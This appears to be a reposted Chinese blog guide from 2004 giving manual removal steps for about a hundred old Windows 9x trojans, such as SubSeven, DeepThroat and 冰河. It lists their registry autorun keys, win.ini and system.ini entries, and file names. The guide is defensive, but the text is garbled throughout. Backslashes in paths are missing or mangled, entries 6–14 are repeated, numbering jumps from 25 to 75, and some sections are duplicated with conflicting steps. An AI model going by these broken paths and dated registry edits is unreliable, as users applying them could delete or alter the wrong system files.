关闭Regedit,重新启动Windows。OK

6. Asylum v0.1, 0.1.1, 0.1.2, 0.1.3 + Mini 1.0, 1.1
清除木马的步骤:
注意:木马程序默认文件名是wincmp32.exe,然而程序可以随意改变文件名。
我们可以根据木马修改的system.ini和win.ini两个文件来清除木马。
打开system.ini文件
在【BOOT】下面有个"shell=文件名"。正确的文件名是explorer.exe
如果不是"explorer.exe",那么那个文件就是木马程序,把它查找出来,删除。
保存退出system.ini
打开win.ini文件
在【WINDOWS】下面有个run=
如果你看到=后面有路径文件名,必须把它删除。
正确的应该是run=后面什么也没有。
=后面的路径文件名就是木马,把它查找出来,删除。
保存退出win.ini。
OK

7. AttackFTP
清除木马的步骤:
打开win.ini文件
在【WINDOWS】下面有load=wscan.exe
删除wscan.exe ,正确是load=
保存退出win.ini。
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Reminder="wscan.exe /s"
关闭Regedit,重新启动到MSDOS系统中
删除C:windowssystem wscan.exe
OK

8. Back Construction 1.0 - 2.5
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的"C:WINDOWSCmctl32.exe"
关闭Regedit,重新启动到MSDOS系统中
删除C:WINDOWSCmctl32.exe
OK

9. BackDoor v2.00 - v2.03
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的`c:windows otpa.exe /o=yes`
关闭Regedit,重新启动到MSDOS系统中
删除c:windows otpa.exe
注意:不要删除真正的notepad.exe笔记本程序
OK

10. BF Evolution v5.3.12
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的(Default)=" "
关闭Regedit,再次重新启动计算机。
将C:windowssystem .exe(空格exe文件)
OK

11. BioNet v0.84 - 0.92 + 2.21
0.8X版本是运行在Win95/98
0.9X以上版本有运行在Win95/98 和WinNT上两个软件
客户-服务器协议是一样的,因而NT客户能黑95/98被感染的机器,和Win95/98客户能黑
NT被感染的系统完全一样。
清除木马的步骤:
首先准备一张98的启动盘,用它启动后,进入c:windows目录下,用attrib libupd~1.
exe -h
命令让木马程序可见,然后删除它。
抽出软盘后重新启动,进入98下,在注册表里找到:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun的子键WinLib更新 = "c:windowslib更新.exe -hide"
将此子键删除。

12. Bla v1.0 - 5.03
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Systemdoor = "C:WINDOWSSystemmprdll.exe"
关闭Regedit,重新启动计算机。
查找到C:WINDOWSSystemmprdll.exe和
C:WINDOWSsystem undll.exe
注意:不要删除C:WINDOWSRUNDLL.EXE正确文件。
并删除两个文件。
OK

13. BladeRunner
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
可以找到System-Tray = "c:somethingsomething.exe"
右边的路径可能是任何东西,这时你不需要删除它,因为木马会立即自动加上,你需要
的是记下木马的名字与目录,然后退回到MS-DOS下,找到此木马文件并删除掉。
重新启动计算机,然后重复第一步,在注册表中找到木马文件并删除此键。

14. Bobo v1.0 - 2.0
清除木马v1.0
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的DirrectLibrarySupport ="C:WINDOWSSYSTEMDllclient.exe"
关闭Regedit,重新启动计算机。
DEL C:WindowsSystemDllclient.exe
OK
清除木马v2.0
打开注册表Regedit
点击目录至:
HKEY_USER/.Default/Software/Mirabilis/ICQ/Agent/Apps/ICQ Accel/
ICQ Accel是一个“假象“的主键,选中ICQ Accel主键并把它删除。
重新启动计算机。OK

15. BrainSpy vBeta
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
右边有 ??? = "C:WINDOWSsystemBRAINSPY .exe"
???标签选是随意改变的。
关闭Regedit,重新启动计算机
查找删除C:WINDOWSsystemBRAINSPY .exe
OK

16. Cain and Abel v1.50 - 1.51
这是一个口令木马
进入MS-DOS方式
查找到C:windowsmsabel32.exe
并删除它。OK

17. Canasson
清除木马的步骤:
打开WIN.INI文件
查找c:msie5.exe,删除全部主键
保存win.ini
重新启动计算机
删除c:msie5.exe木马文件
OK

18. Chupachbra
清除木马的步骤:
打开WIN.INI文件
【Windows】的下面有两个行
run=winprot.exe
load=winprot.exe
删除winprot.exe
run=
load=
保存Win.ini,再打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的`System Protect` = winprot.exe
重新启动Windows
查找到C:windowssystem winprot.exe,并删除。
OK

19. Coma v1.09
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的`RunTime` = C:windowsmsgsrv36.exe
重新启动Windows
查找到C:windows msgsrv36.exe,并删除。
OK

20. Control
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的Load MSchv Drv = C:windowssystemMSchv.exe
保存Regedit,重新启动Windows
查找到C:windowssystemMSchv.exe,并删除。
OK
21. Dark Shadow
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRunServices
删除右边的winfunctions="winfunctions.exe"
保存Regedit,重新启动Windows
查找到C:windowssystem winfunctions.exe,并删除。
OK

22. DeepThroat v1.0 - 3.1 + Mod (Foreplay)
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
版本1.0
删除右边的项目`System32`=c:windowssystem32.exe
版本2.0-3.1
删除右边的项目`SystemTray` = `Systray.exe`
保存Regedit,重新启动Windows
版本1.0删除c:windowssystem32.exe
版本2.0-3.1
删除c:windowssystemsystray.exe
OK

23. Delta Source v0.5 - 0.7
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的项目:DS admin tool = C:TEMPSERVER.exe
保存Regedit,重新启动Windows
查找到C:TEMPSERVER.exe,并删除它。
OK

24. Der Spaeher v3
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
删除右边的项目:explore = "c:windowssystemdkbdll.exe "
保存Regedit,重新启动Windows
删除c:windowssystemdkbdll.exe木马文件。
OK

--

25. Doly v1.1 - v1.7 (SE)
清除木马V1.1-V1.5版本:
这几个木马版本的木马程序放在三处,增加二个注册项目,还增加到Win.ini项目。
首先,进入MS-DOS方式,删除三个木马程序,但V1.35版本多一个木马文件mdm.exe。
把下列各项全部删除:
C:WINDOWSSYSTEM esk.sys
C:WINDOWSStart MenuProgramsStartupmstesk.exe
c:Program FilesMStesk.exe
c:Program FilesMdm.exe
重新启动Windows。
接着,打开win.ini文件
找到【WINDOWS】下面load=c:windowssystem esk.exe项目,删除路径,改变为load=
保存win.ini文件。
最后,修改注册表Regedit
找到以下两个项目并删除它们
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
Ms tesk = "C:Program FilesMStesk.exe"

HKEY_USER.DefaultSoftwareMicrosoftWindowsCurrentVersionRun
Ms tesk = "C:Program FilesMStesk.exe"
再寻找到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionss
这个组是木马的全部参数选择和设置的服务器,删除这个ss组的全部项目。
关闭保存Regedit。
还有打开C:AUTOEXEC.BAT文件,删除
@echo off copy c:sys.lon c:windowsStartMenuStartup Itemsdel c:win.reg
关闭保存autoexec.bat。
OK
清除木马V1.6版本:
该木马运行时,将不能通过98的正常操作关闭,只能RESET键。彻底清除步骤如下:
1.打开控制面板——添加删除程序——删除memory manager 3.0,这就是木马程序,但
是它并不会把木马的EXE文件删除掉。
2.用98或DOS启动盘启动(用RESET键)后,转入C:,编辑AUTOEXEC。BAT,把如下内容
删除:
@echo off copy c:sys.lon c:windowsstartm~1programsstartupmdm.exe
del c:win.reg
保存AUTOEXEC。BAT文件并返回DOS后,在C:根目录下删除木马文件:
del sys.lon
del windowsstartm~1programsstartupmdm.exe
del progra~1mdm.exe
3.抽出软盘重新启动,进入98后,把c:program files目录下的memory manager 目录
删除。
清除木马V1.7版本:
首先,打开C:AUTOEXEC.BAT文件,删除
@echo off copy c:sys.lon c:windowsstartm~1programsstartupmdm.exe
del c:win.reg
关闭保存autoexec.bat
然后打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicroSoftWindowsCurrentVersionRun
找到c:windowssystemmdm.exe路径并删除这个项目
点击目录至:
HKEY_USER/.Default/Software/Marabilis/ICQ/Agent/Apps/
找到"C:windowssystemkernal32.exe"路径并删除这个项目
关闭保存Regedit。重新启动Windows。
最后,删除以下木马程序:
c:sys.lon
c:ie小甜饼.exe
c:windowsstart menuprogramsstartupmdm.exe
c:program filesmdm.exe
c:windowssystemmdm.exe
c:windowssystemkernal32.exe
注意:kernal32是A
OK
75. Revenger v1.0 - 1.5
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:AppName ="C:...server.exe"
关闭保存Regedit,重新启动Windows
在c:windows查找相应的木马程序server.exe,并删除
OK

76. Ripper
清除木马的步骤:
打开system.ini文件
将shell=explorer.exe sysrunt.exe
改为shell= explorer.exe
关闭保存system.ini,重新启动Windows
在c:windows查找相应的木马程序sysrunt.exe,并删除
OK

77. Satans Back Door v1.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices删除右边的项目:sysprot protection ="C:windowssysprot.exe"
关闭保存Regedit,重新启动Windows
删除C:windowssysprot.exe
OK

78. Schwindler v1.82
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:User.exe = "C:WINDOWSUser.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSUser.exe
OK

79. Setup Trojan (Sshare) +Mod Small Share
这个共享隐藏C盘的木马
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
选择右边有`C$`的项目,并全部删除
关闭保存Regedit,重新启动Windows
OK

80. ShadowPhyre v2.12.38 - 2.X
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:WinZipp = "C:WINDOWSSYSTEMWinZipp.exe /nomsg"
或者WinZip = "C:WINDOWSSYSTEMWinZip.exe /nomsg"
关闭保存Regedit,重新启动Windows
删除C:WINDOWS WinZipp.exe或者C:WINDOWS WinZip.exe
OK


81. Share All
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
这里你将看到所有被木马共享出来的你的硬盘符号,把它们一个个删除掉。

82. ShitHeap
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices删除右边的项目:recycle-bin = "c:windowssystem ecycle-bin.exe"
或者recycle-bin = "c:windowssystem.exe"
关闭保存Regedit,重新启动Windows
删除c:windowssystem ecycle-bin.exe或者c:windowssystem.exe
OK

83. Snid v1 - 2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:System-tray = `c:windows emp$01.exe`
关闭保存Regedit,重新启动Windows
删除c:windows emp$01.exe
OK

84. Softwarst
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:NetApp = C:windowssystemwinserv.exe
关闭保存Regedit,重新启动Windows
删除C:windowssystemwinserv.exe
OK

85. Spirit 2000 Beta - v1.2 (fixed)
清除木马v Beta版本:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:internet = "c:windows etip.exe "
关闭保存Regedit
打开win.ini文件
查找到run=c:windows etip.exe
更改为:run=
关闭保存win.ini,重新启动Windows
删除c:windows etip.exe和c:windows etip.exe
OK
清除木马v 1.2版本:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemTray = "c:windowswindown.exe "
关闭保存Regedit,重新启动Windows
删除c:windowswindown.exe
OK
清除木马v 1.2(fixed)版本:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Server 1.2.exe = "c:windowsserver 1.2.exe"
关闭保存Regedit,重新启动Windows
删除c:windowsserver 1.2.exe
OK
86. Stealth v2.0 - 2.16
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Winprotect System = "C:WINDOWSwinprotecte.exe
关闭保存Regedit,重新启动Windows
删除C:WINDOWSwinprotecte.exe
OK

87. SubSeven - Introduction
清除木马v1.0 - 1.1:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemTrayIcon = "C:WINDOWSSysTrayIcon.Exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSSysTrayIcon.Exe
OK
清除木马v1.3 - 1.4 - 1.5:
打开win.ini文件
查找到run=nodll
更改为run=
关闭保存win.ini,重新启动Windows
删除c:windows odll.exe
OK
清除木马v1.6:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemTray = "SysTray.Exe"
关闭保存Regedit,重新启动Windows
删除C:windowssystray.exe
OK
清除木马v1.7:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
查找到右边的项目:C:windowskernel16.dl,并删除
关闭保存Regedit,重新启动Windows
删除C:windowskernel16.dl
OK
清除木马v1.8:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
查找到右边的项目:c:windowssystem.ini.,并删除
关闭保存Regedit。
打开win.ini文件
查找到run= kernel16.dl
更改为run=
关闭保存win.ini。
打开system.ini文件
查找到shell=explorer.exe kernel32.dl
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除C:windowskernel16.dl
OK
清除木马v1.9 - 1.9b:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的项目:RegistryScan = "rundll16.exe"
关闭保存Regedit,重新启动Windows
删除C:windows undll16.exe
OK
清除木马v2.0:
打开system.ini文件
查找到shell=explorer.exe trojanname.exe
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除c:windows undll16.exe
OK
清除木马v2.1 - 2.1 Gold + SubStealth- 2.1.3 Mod + 2.1.3 MUIE + 2.1 Bonus:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的项目:WinLoader = MSREXE.EXE
hkey_classes_rootexefileshellopencommand
将右边的项目更改为:@=""%1" %*"
关闭保存Regedit。
打开win.ini文件
查找到run=msrexe.exe和
load=msrexe.exe
更改为run=
load=
关闭保存win.ini。
打开system.ini文件
查找到shell=explore.exe msrexe.exe
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除C:windows msrexe.exe
C:windowssystemsystray.dll
OK
清除木马v2.2b1:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun和
删除右边的项目:加载器 = "c:windowssystem***"
注:加载器和文件名是随意改变的
关闭保存Regedit。
打开win.ini文件
更改为run=
关闭保存win.ini。
打开system.ini文件
更改为shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除相对应的木马程序
OK

88. Telecommando 1.54
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SystemApp="ODBC.EXE"
关闭保存Regedit,重新启动Windows
删除C:windowssystem ODBC.EXE
OK
--

 

89. The Unexplained
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:InetB00st = "C:WINDOWSTEMPINETB00ST.EXE"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSTEMPINETB00ST.EXE
OK
90. Thing v1.00 - 1.60
清除木马v1.00-1.12:
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:(Default) = "C:somepathhere hing.exe"
也有一些是在:
HKEY_LOCAL_MACHINESystemCurrentControlSetcontrolSessionManagerKnown16DL
Ls删除右边的项目:wsasrv.exe = "wsasrv.exe"
关闭保存Regedit,重新启动Windows
删除C:somepathhere hing.exe
OK
清除木马v 1.20版本:
进入MS_DOS方式:
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe ms097.exe
更改为:shell=explorer.exe
关闭保存system.ini,重新启动Windows
OK
清除木马v1.50版本:
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun这个项目的路径和文件名是随机改变的,察看有可疑的文件路径,将它删除。
关闭保存Regedit。
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为:shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除相应的木马文件
OK
清除木马v1.50版本:
进入MS_DOS方式:
del winspc13.exe
del ms097.exe
打开system.ini文件
查找到shell=explorer.exe后面是木马文件
更改为:shell=explorer.exe
关闭保存system.ini,重新启动Windows
删除相应的木马文件
OK

91. Transmission Scount v1.1 - 1.2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Kernel16" = C:WINDOWSKernel16.exe
关闭保存Regedit,重新启动Windows
删除C:WINDOWSKernel16.exe
OK

92. Trinoo
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目: System Services = service.exe
关闭保存Regedit,重新启动Windows
删除C:windowssystemservice.exe
OK

93. Trojan Cow v1.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SysWindow = "C:WINDOWSSyswindow.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSSyswindow.exe
OK

94. TryIt
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Rc5Dec = C:Program FilesInternet Explorer_.exe -guistart
关闭保存Regedit,重新启动Windows
删除C:Program FilesInternet Explorer_.exe
OK

95. Vampire v1.0 - 1.2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Sockets ="c:windowssystemSockets.exe"
关闭保存Regedit,重新启动Windows
删除c:windowssystemSockets.exe
OK

96. WarTrojan v1.0 - 2.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:Kernel32 = "C:somepathserver.exe"
关闭保存Regedit,重新启动Windows
删除C:somepathserver.exe
OK


97. wCrat v1.2b
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:MS Windows System Explorer ="C:WINDOWSsy***plor.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSsy***plor.exe
OK

98. WebEx (v1.2, 1.3, and 1.4)
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:RunDl32 = "C:windowssystem ask_bar"
关闭保存Regedit,重新启动Windows
删除C:windowssystem ask_bar.exe和c:windowssystemmsinet.ocx
OK

99. WinCrash v2
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:WinManager = "c:windowsserver.exe"
关闭保存Regedit
打开win.ini文件
查找到run=c:windowsserver.exe
更改为:run=
保存关闭win.ini,重新启动Windows
删除c:windowsserver.exe
OK

100. WinCrash
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:MsManager ="SERVER.EXE"
关闭保存Regedit,重新启动Windows
删除C:windowssystem SERVER.EXE
OK

101. Xanadu v1.1
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:SETUP = "c:somepathsetup.exe"
关闭保存Regedit,重新启动Windows
删除c:somepathsetup.exe
OK

102. Xplorer v1.20
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:PCX = "C:WINDOWSsystemPCX.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSsystemPCX.exe
OK

103. Xtcp v2.0 - 2.1
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的项目:msgsv32 = "C:WINDOWSsystemwinmsg32.exe"
关闭保存Regedit,重新启动Windows
删除C:WINDOWSsystemwinmsg32.exe
OK

104. YAT
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices删除右边的项目:Batterieanzeige = `c:pathnamehereserver.exe /nomsg`
关闭保存Regedit,重新启动Windows
删除c:pathnamehereserver.exe
OK

- 作者: 007show 2004年08月29日, 星期日 18:27  回复(0) |  引用(0) 加入博采

100种木马清除的方法 --by Neo

1. 冰河v1.1 v2.2
这是国产最好的木马
清除木马v1.1


打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
查找以下的两个路径,并删除
" C:windowssystem kernel32.exe"
" C:windowssystem sy***plr.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:windowssystem kernel32.exe和C:windowssystem sy***plr.exe木马程序
重新启动。OK

清除木马v2.2
服务器程序、路径用户是可以随意定义,写入注册表的键名也可以自己定义。
因此,不能明确说明。
你可以察看注册表,把可疑的文件路径删除。
重新启动到MSDOS方式
删除于注册表相对应的木马程序
重新启动Windows。OK

2. Acid Battery v1.0
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Explorer ="C:WINDOWSexpiorer.exe"
关闭Regedit
重新启动到MSDOS方式
删除c:windowsexpiorer.exe木马程序
注意:不要删除正确的ExpLorer.exe程序,它们之间只有i与L的差别。
重新启动。OK

3. Acid Shiver v1.0 + 1.0Mod + lmacid
清除木马的步骤:
重新启动到MSDOS方式
删除C:windowsMSGSVR16.EXE
然后回到Windows系统
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Explorer = "C:WINDOWSMSGSVR16.EXE"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的Explorer = "C:WINDOWSMSGSVR16.EXE"
关闭Regedit
重新启动。OK
重新启动到MSDOS方式
删除C:windowswintour.exe然后回到Windows系统
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Wintour = "C:WINDOWSWINTOUR.EXE"
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
删除右边的Wintour = "C:WINDOWSWINTOUR.EXE"
关闭Regedit
重新启动。OK

4. Ambush
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun删除右边的zka = "zcn32.exe"
关闭Regedit
重新启动到MSDOS方式
删除C:Windows zcn32.exe
重新启动。OK

5. AOL Trojan
清除木马的步骤:
启动到MSDOS方式
删除C: command.exe(删除前取消文件的隐含属性)
注意:不要删除真的command.com文件。
删除C: americ~1.0uddyl~1.exe(删除前取消文件的隐含属性)
删除C: windowssystem orton~1 egist~1.exe(删除前取消文件的隐含属性)
打开WIN.INI文件
在【WINDOWS】下面"run="和"load="都加载者特洛伊木马程序的路径,必须清除它们:
run=
load=
保存WIN.INI
还要改正注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的WinProfile = c:command.exe
关闭Regedit,重新启动Windows。OK

6. Asylum v0.1, 0.1.1, 0.1.2, 0.1.3 + Mini 1.0, 1.1
清除木马的步骤:
注意:木马程序默认文件名是wincmp32.exe,然而程序可以随意改变文件名。
我们可以根据木马修改的system.ini和win.ini两个文件来清除木马。
打开system.ini文件
在【BOOT】下面有个"shell=文件名"。正确的文件名是explorer.exe
如果不是"explorer.exe",那么那个文件就是木马程序,把它查找出来,删除。
保存退出system.ini
打开win.ini文件
在【WINDOWS】下面有个run=
如果你看到=后面有路径文件名,必须把它删除。
正确的应该是run=后面什么也没有。
=后面的路径文件名就是木马,把它查找出来,删除。
保存退出win.ini。
OK

7. AttackFTP
清除木马的步骤:
打开win.ini文件
在【WINDOWS】下面有load=wscan.exe
删除wscan.exe ,正确是load=
保存退出win.ini。
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Reminder="wscan.exe /s"
关闭Regedit,重新启动到MSDOS系统中
删除C:windowssystem wscan.exe
OK

8. Back Construction 1.0 - 2.5
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的"C:WINDOWSCmctl32.exe"
关闭Regedit,重新启动到MSDOS系统中
删除C:WINDOWSCmctl32.exe
OK

9. BackDoor v2.00 - v2.03
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的`c:windows otpa.exe /o=yes`
关闭Regedit,重新启动到MSDOS系统中
删除c:windows otpa.exe
注意:不要删除真正的notepad.exe笔记本程序
OK

10. BF Evolution v5.3.12
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的(Default)=" "
关闭Regedit,再次重新启动计算机。
将C:windowssystem .exe(空格exe文件)
OK

11. BioNet v0.84 - 0.92 + 2.21
0.8X版本是运行在Win95/98
0.9X以上版本有运行在Win95/98 和WinNT上两个软件
客户-服务器协议是一样的,因而NT客户能黑95/98被感染的机器,和Win95/98客户能黑
NT被感染的系统完全一样。
清除木马的步骤:
首先准备一张98的启动盘,用它启动后,进入c:windows目录下,用attrib libupd~1.
exe -h
命令让木马程序可见,然后删除它。
抽出软盘后重新启动,进入98下,在注册表里找到:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun的子键WinLib更新 = "c:windowslib更新.exe -hide"
将此子键删除。

12. Bla v1.0 - 5.03
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
删除右边的Systemdoor = "C:WINDOWSSystemmprdll.exe"
关闭Regedit,重新启动计算机。
查找到C:WINDOWSSystemmprdll.exe和
C:WINDOWSsystem undll.exe
注意:不要删除C:WINDOWSRUNDLL.EXE正确文件。
并删除两个文件。
OK

13. BladeRunner
清除木马的步骤:
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
可以找到System-Tray = "c:somethingsomething.exe"
右边的路径可能是任何东西,这时你不需要删除它,因为木马会立即自动加上,你需要
的是记下木马的名字与目录,然后退回到MS-DOS下,找到此木马文件并删除掉。
重新启动计算机,然后重复第一步,在注册表中找到木马文件并删除此键。

14. Bobo v1.0 - 2.0
清除木马v1.0
打开注册表Regedit
点击目录至:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
